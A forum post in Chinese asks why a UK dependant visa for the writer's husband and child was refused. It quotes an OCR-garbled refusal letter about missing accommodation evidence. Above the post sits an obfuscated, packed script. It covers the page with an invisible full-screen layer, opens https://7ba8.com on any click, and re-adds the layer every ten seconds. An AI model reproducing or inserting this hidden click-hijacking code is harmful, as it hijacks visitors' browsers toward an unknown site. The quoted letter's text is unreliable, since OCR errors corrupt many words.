<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>大家好，我爱人和孩子被拒签了。请帮我分析一下原因。
I am not satisfied on the balance of probabilities, 是直银行存款吗？我的定期存款有3000镑，活期有5000磅，但是定期不是每个月都有statement ，我只是提供了开始存的一个证明。签证官是不是以为我的存款只有5000磅。另外要是陪伴工作签，至少多少磅每人？也就是我的帐户上-我是老公和孩子的担保人--必须至少有多少钱？
balance of probabilities 还是指他们3次让我补材料我却没有达到他们的标准？
The Entry Clearance Officer's decision
I have refused your visa application on this occasion because I am not satisfied on the balance of probabilities,that you meet aH the requirements of the relevant section of the Immigration
The Entry Clearance Officer's reasons and supporting evidence
I have taken into consideration all the documents you have provided in your app|icatlon Your mother resides in a rented communal prope 时 y in ---paying rent of E32O per month.You failed to supply a housing report in your initialapplication and have been asked to supply evidence of the size of the prope 时 y on two occasions subsequently.You have failed to do so.I have taken into account the letter you have supplied from your mother's |and|0 时 ,however,it was emphasised to you that you were required to supp|y independent evidence.l am therefore not satisfied that you have supplied sufficient evidence and |am not therefore satisfied that the accommodation avai|able for you and your father in the UK willbe adequate
Based on the above l am not satisfied that you wil|be adequateiy accommodated without recourse to pub|ic funds in accommodation which you own or occupy exclusive|y.Paragraph 197(iv)
|n reaching my decision,lhave also taken account of the Human Rights Act.Whi|st i accept that this decision constitutes limited interference with Article 8,i remind myself that this is a qua|ified right,and l am satisfied that the decision is justified and proportionate in the interests of maintaining an effective immigration contr01l am a|so aware of the fact that there is nothing in Eng|ish Law which prohibits the sponsor from trave|ling to China and enjoying family |ife with you in that country.
大家
![]() |
收藏